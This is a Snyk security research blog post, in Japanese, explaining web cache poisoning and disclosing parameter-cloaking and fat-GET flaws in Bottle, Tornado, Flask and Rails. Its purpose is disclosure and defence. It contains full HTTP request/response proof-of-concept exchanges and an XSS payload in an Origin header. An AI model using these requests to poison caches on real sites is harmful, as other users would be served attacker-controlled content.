Skip to main content

人気のオープンソースパッケージにおけるキャッシュポイズニング

著者
Headshot of Adam Goldschmidt

Adam Goldschmidt

Package Lock Files blog

2021年1月18日

0 分で読めます

PortSwiggerのJames KettleによるWebキャッシュポイズニングの調査を受け、Snykのセキュリティチームは、この分野の知見を深め、オープンソース領域における脆弱性を調査することにしました。npmとPyPIで特に人気のあるWebフレームワーク、Flask(Werkzeug)、Bottle、Tornado、DerbyJSを中心に調査しました。

この記事では、Webキャッシュポイズニングの概要を紹介し、オープンソースのメンテナーがこの問題を考慮すべき理由を解説します。また、Snykの初期調査で脆弱性が確認された、著名なオープンソースフレームワークの脆弱性の例も紹介します。

キャッシュポイズニングとは

Webキャッシュポイズニングとは、キャッシュをだまして、正当なリクエストに対して悪意のあるレスポンスを返させる攻撃です。キャッシュキーに含まれない(つまり、非キー化された)パラメーターをリクエストに含めることで、その値がキャッシュに保存されるため、この攻撃が可能になります。この攻撃の仕組みを十分に理解するには、Webキャッシュの概念を理解する必要があります。

キャッシュプロキシとは?

キャッシュプロキシは、クライアントとWebサーバーの間にある中継接続であるリバースプロキシの一部です。ユーザーがWebサイトにアクセスすると、プロキシは元のサーバーに代わってリクエストを解釈し、応答します。プロキシキャッシュはリバースプロキシの機能の一つで、ユーザーへのレスポンスをより速く配信できます。

キャッシュの仕組み

キャッシュとは、頻繁にアクセスされるコンテンツを保存し、次回以降にそのコンテンツへアクセスするリクエストを高速化する仕組みです。

キャッシュキーは、キャッシュがレスポンスを参照できるようにするために使われます。通常、キャッシュキーは1つ以上のレスポンスヘッダーの値と、URLの一部で構成されます。

たとえば、次のHTTPリクエストの場合、キャッシュキーはlocalhost/p/?a=1となる可能性があります。

GET /p/?a=1 HTTP/1.1
Host: localhost
Origin: example
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
クライアントとサーバーが、キャッシュとキャッシュ済みレスポンスの経路を備えたリバースプロキシを介して通信する様子を示した図。

新しいリクエストを受け取ったとき、キャッシュに一致するキャッシュキーがあれば、新しいレスポンスを生成する代わりに保存済みのレスポンスが返されます。

上の例から分かるように、レスポンスに影響する可能性があるものの、キャッシュキーには反映されないヘッダーがあります。その値を変更しても同じキャッシュの「場所」に保存されますが、値は異なるレスポンスになります。

次の表は、キャッシュキーが$host$query_argsの場合に、3つの異なるリクエストがどのように処理されるかを示しています。

Host

Accept-Encoding

クエリ引数

キャッシュキー

example.com

gzip, deflate

?q=search

example.com?q=search

example.com

identity

?q=search

example.com?q=search

snyk.io

gzip, deflat

snyk.io

最初の2行はAccept-Encodingの値が異なるにもかかわらず、キャッシュキーが同じです。そのため、同じキャッシュの場所に保存されます。

非キー化パラメーターを理解する

キャッシュポイズニングを示す図:リバースプロキシが人気のクエリに対する悪意のあるレスポンスをキャッシュし、別のユーザーに配信する。

キャッシュキーに含まれない入力値は、非キー化パラメーターと呼ばれます。こうしたパラメーターがアプリケーションで悪意のある動作を引き起こす場合、問題になります。たとえば、攻撃者はリフレクティッドXSSをストアドXSSに変えることができます。例として、次のリクエストを見てみましょう。

GET / HTTP/1.1
Host: somesite.com
Origin: <script>alert(1)</script>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Originパラメーターがサニタイズされずに反映され、XSSを引き起こす可能性があり、かつキー化されないとします。この場合、キャッシュされたレスポンスの有効期限が切れるまで、somesite.com/にアクセスしたすべてのユーザーに悪意のあるレスポンスが返されます。

キャッシュポイズニングと考えられる攻撃ベクトルについて詳しく知るには、James Kettleによる次の記事をお読みください。Practical Web Cache PoisoningおよびWeb Cache Entanglement: Novel Pathways to Poisoning。

Webフレームワークの脆弱性を調査

Webフレームワークを使うと、開発者はHTTPレスポンスを簡単に生成できます。Wikipediaによると、「Webフレームワークは、World Wide Web上でWebアプリケーションを構築、デプロイするための標準的な方法を提供します。Webフレームワークは、Web開発で一般的に行われる作業に伴うオーバーヘッドの自動化を目指しています」。通常、開発者の作業をさらに簡単にするため、フレームワークには何らかのセキュリティ対策が含まれています。

開発者は、NGINXやVarnishなどのキャッシュプロキシとWebフレームワークを併用することがよくあります。

この調査では、現在広く使われている多くのフレームワークが、使用するキャッシュプロキシにほぼ関係なく、初期設定のままでWebキャッシュポイズニングに対して脆弱であることが分かりました。こうした攻撃を防ぐための明示的な設定がない場合に脆弱となりますが、通常、開発者はその設定に気づいていないか、十分な知識を持っていません。以下の攻撃ベクトルは、NGINXとVarnishを使って複数のWebフレームワークで検証しました。

PythonとBottleにおけるGETパラメーターのクローキング

キャッシュポイズニングを示す図:悪意のあるクエリによってリバースプロキシのキャッシュが汚染され、その後のリクエストに q=malicious が返される。

攻撃者がセミコロン;でクエリパラメーターを区切れる場合、デフォルト設定で動作するプロキシとサーバーとの間で、リクエストの解釈に違いを生じさせることができます。その結果、悪意のあるリクエストが安全なリクエストとしてキャッシュされる可能性があります。通常、プロキシはセミコロンを区切り文字として認識しないため、utm_*パラメーターのような非キー化パラメーターのキャッシュキーにセミコロンを含めないからです。W3Cの推奨では、区切り文字としてアンパサンドを使用することを推奨しています(「文字列は、ペイロード文字列をU+0026 AMPERSAND文字(&)で厳密に分割した結果とする」)。

特に注目すべき発見は、Pythonのソースコード(CVE-2021-23336)に、セミコロンとアンパサンドの両方を使ってURLクエリパラメーターを解析するparse_qslメソッドが含まれていたことです。このメソッドはTornadoなどのフレームワークでクエリパラメーターの解析に使われており、Webキャッシュポイズニングの攻撃チェーンにつながる可能性があります。

Bottle(CVE-2020-28473)、Tornado、Rackに脆弱性が見つかりました。この攻撃ベクトルの例として、Bottleを悪用するケースを見てみましょう。

攻撃者は検索ボックスのパラメーターとしてq=catを使い、別の値で上書きします。リクエストとレスポンスは次のとおりです。

GET /search/?q=cat&utm_content=1;q=dog! HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Wed, 06 Jan 2021 19:45:20 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 26
Connection: close
Cache-Control: max-age=10
X-Cache-Date: Wed, 06 Jan 2021 19:45:18 GMT
X-Cache: HIT

Your search query: dog!

悪意のあるレスポンスがまだキャッシュされている間に、実際のユーザーが「cat」を検索したとします。

GET /search/?q=cat HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Wed, 06 Jan 2021 19:45:23 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 26
Connection: close
Cache-Control: max-age=10
X-Cache-Date: Wed, 06 Jan 2021 19:45:18 GMT
X-Cache: HIT

Your search query: dog!

攻撃者は、検索パラメーターを置き換えて正当なリクエストを変更できました。これは、サーバーがここに3つのパラメーター、q, utm_content、さらにqがもう一つあると認識するためです。サーバーは最初のqパラメーターの値を最後の値で上書きします。一方、プロキシは文字列全体?q=cat&utm_content=1;q=dog!をutm_contentの値として扱います。そのため、キャッシュキーに含まれるのはlocalhost?q=catだけです。

この脆弱性への対策として、開発者が別途指定しない限り、クエリパラメーターの区切り文字にはアンパサンド(&)のみを使うべきです。たとえばWerkzeugでは、開発者がカスタムパラメーターを指定でき、デフォルトの区切り文字としてアンパサンドを使用できます。Bottleのメンテナーは、クエリ文字列を;で分割しないことで修正しました。この変更はバージョン0.12.19で導入されました。Railsフレームワークもこの方法に対して脆弱であることが分かりました(James Kettleが発見し、Jonathan Leitschuhの協力を得て私たちに開示)。ただし、執筆時点ではまだ修正されていません。

FlaskとTornadoにおけるGETボディパラメーター(Fat GET)の脆弱性

キャッシュポイズニングを示す図:リバースプロキシがキャッシュキーからOriginヘッダーを除外することで、XSSコンテンツが両方のクライアントに届いている。

NGINXなど一部のプロキシでは、GETリクエストにボディパラメーターを含めることができます。これはHTTP RFCで明確に禁止されているわけではありません(「GETリクエストメッセージ内のペイロードに定義済みのセマンティクスはない。GETリクエストでペイロードボディを送信すると、既存の実装によってリクエストが拒否される可能性がある」)。しかし、複数のフレームワークで、ボディパラメーター専用とは明示されていない組み込みメソッドに、これらのパラメーターが含まれることが分かりました。

そのため、開発者がGETクエリパラメーターを取得しようとして、実際にはボディパラメーターを取得してしまう可能性があります。これらのパラメーターはキャッシュキーに含まれないため、次の2つの問題につながる恐れがあります。

パラメーターの上書き

攻撃者はGETクエリパラメーターをGETボディパラメーターで上書きし、キャッシュされたレスポンスを他のユーザーに配信できます。

この問題は、NGINXと併用したTornadoで見つかりました。

Tornadoではボディパラメーターが優先されるため、悪意のあるリクエストで善意のユーザーによるリクエストを上書きできました。先ほどの例に沿って、catを検索してみましょう。

GET /search/?q=cat HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 6

q=dog!

HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Wed, 06 Jan 2021 19:51:54 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 26
Connection: close
Cache-Control: max-age=10
X-Cache-Date: Wed, 06 Jan 2021 19:51:53 GMT
X-Cache: HIT

Your search query: dog!

ここでユーザーが「cat」を検索すると、次のような流れになります。

GET /search/?q=cat HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Wed, 06 Jan 2021 19:53:55 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 26
Connection: close
Cache-Control: max-age=10
X-Cache-Date: Wed, 06 Jan 2021 19:51:55 GMT
X-Cache: HIT

Your search query: dog!

リフレクティッドクロスサイトスクリプティング(XSS)の脆弱性がある場合、この手法を使ってストアドXSSに変え、他のアプリケーションユーザーに配信することが可能です。

追加パラメーターの挿入

攻撃者は追加のパラメーターを挿入し、キャッシュされたレスポンスを他のユーザーに配信できます。最初の方法ほど深刻ではありませんが、適切なガジェットと組み合わせると重大な問題になり得ます(実装によっては_methodを使ってリクエストメソッドを変更するなど)。この攻撃はFlaskで可能であることが確認されました。

GET /report HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 32

{“reason”:”this is an extra field”}

このリクエストにより、以降に送信される善意のユーザーのすべてのリクエストに、追加パラメーターが含まれるようになります。

Snykの調査では、複数のフレームワークでこの挙動が可能であることが分かりました。しかし、連絡を取った複数のメンテナーは、自身が保守するパッケージにおける直接的な脆弱性とは見なしていませんでした。このため、Snykはこれらの問題についてアドバイザリを発行しないことにしました。

一方で、こうした曖昧なメソッドを使ってボディデータを取得できないようにすることで、パッケージ側で対策することは可能です。多くの開発者は、その影響を認識せずに利便性のためrequest.paramsを使っているからです。別の解決策として、曖昧なメソッドを使う場合にボディパラメーターを優先しない方法もあります。これにより、正当なクエリパラメーターが上書きされるのを防げます。

たとえばWerkzeugのメンテナーは、GETリクエストでrequest.valuesがrequest.formを使わないようにすることで修正しました。Tornadoのメンテナーは別の方法を選び、GETリクエストボディの解析をオプトインにするフラグを追加しました(まだリリースされていません)。

対策の範囲

今回の調査では、複数の攻撃ベクトルが複雑に絡み合うため、対策が自分たちの保守するライブラリの範囲内なのか、それともプロキシ側で対処すべきなのかを、メンテナーが必ずしも判断できていないケースが数多く確認されました。

キャッシュポイズニングが発生する状況は多岐にわたり、すべてを軽減する責任がWebフレームワークにあるわけではありません。それでも、追加の多層防御策を実装することで、Webフレームワークはそのうち一部から保護できます。

多くの実装で今もGETボディパラメーターが使われているため、プロキシはそれを無視すべきではないという考え方もあります。ただし、これらをクエリパラメーターと同様にキャッシュキーへ含めることはできます。また、フレームワーク側でボディパラメーターの使用を許可しながら、開発者が曖昧なメソッドを使えないようにすることも可能です。パラメーターのクローキングも同様です。RFCで推奨されていないため、プロキシは区切り文字としてセミコロンを使うべきではありません。一方、フレームワークでは開発者が明示的に指定した場合に限り、セミコロンを許可できます。

開発者がキャッシュポイズニングのリスクを軽減する方法

開発者は、次の点に注意することで、脆弱性のリスクを減らせます。

  • キャッシュキーを把握する:サーバーがセミコロンでクエリ引数を分割する場合は、キャッシュプロキシも同じ方法で分割するようにしてください。また、攻撃者が非キー化パラメーターを利用してWebキャッシュポイズニングを仕掛けるのを防ぐため、必要なヘッダーがキャッシュキーに含まれていることを確認してください。

  • GETボディパラメーターを無視する:プログラムの処理に必要な場合を除き、GETボディパラメーターは無視してください。必要な場合も、必要なときにのみ使用するようにしてください。

  • アプリケーション内のその他の脆弱性を検出して修正する:Webキャッシュポイズニングは、攻撃者が悪意のあるレスポンスをほかのユーザーに送り付ける攻撃チェーンの一部として使われることがよくあります。たとえば、反射型XSSを格納型XSSに変えるケースがあります。深刻度が低く見える場合でも、開発者はこうした一般的な脆弱性からアプリケーションを守るため、最善を尽くすべきです。

まとめ

結論として、この調査から、使用するプロキシにほぼ関係なく(一部のケースを除く)、オープンソースフレームワークがWebキャッシュポイズニング攻撃に対して脆弱であることがわかりました。プロキシレベルで攻撃を緩和することは可能ですが、多くの開発者はこうした攻撃ベクトルを認識しておらず、キャッシュ/プロキシレベルで必要な対策を講じていません。

このブログ記事の目的は、開発者コミュニティの認識を高めることです。Webキャッシュポイズニングの考えられる攻撃ベクトルを2つだけ紹介しましたが、実際にはほかにも数多く存在します。開発者は上記のポイントに従い、こうした特異な脆弱性を常に念頭に置くべきです。

CTFを始めよう

オンデマンドのバーチャル入門ワークショップを視聴して、CTFの課題の解き方を学びましょう。

続きを読む

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。

feature insights context
Blog

自律型攻撃はすでに始まっている。防御もそのスピードに追いつかなければならない。

自律型攻撃者によって、防御に使える時間は短くなっています。継続的な検出、修復、検証、予防で、セキュリティチームが攻撃に歩調を合わせる方法をご紹介します。

Blog

脆弱性のバックログはもはや技術的負債ではなく、攻撃対象領域です

増え続ける脆弱性のバックログは、単なる技術的負債ではありません。攻撃対象領域そのものです。古いリスクの前提、攻撃の自動化、そして連鎖する検出結果によって、なぜ新たなアプローチが求められているのかを解説します。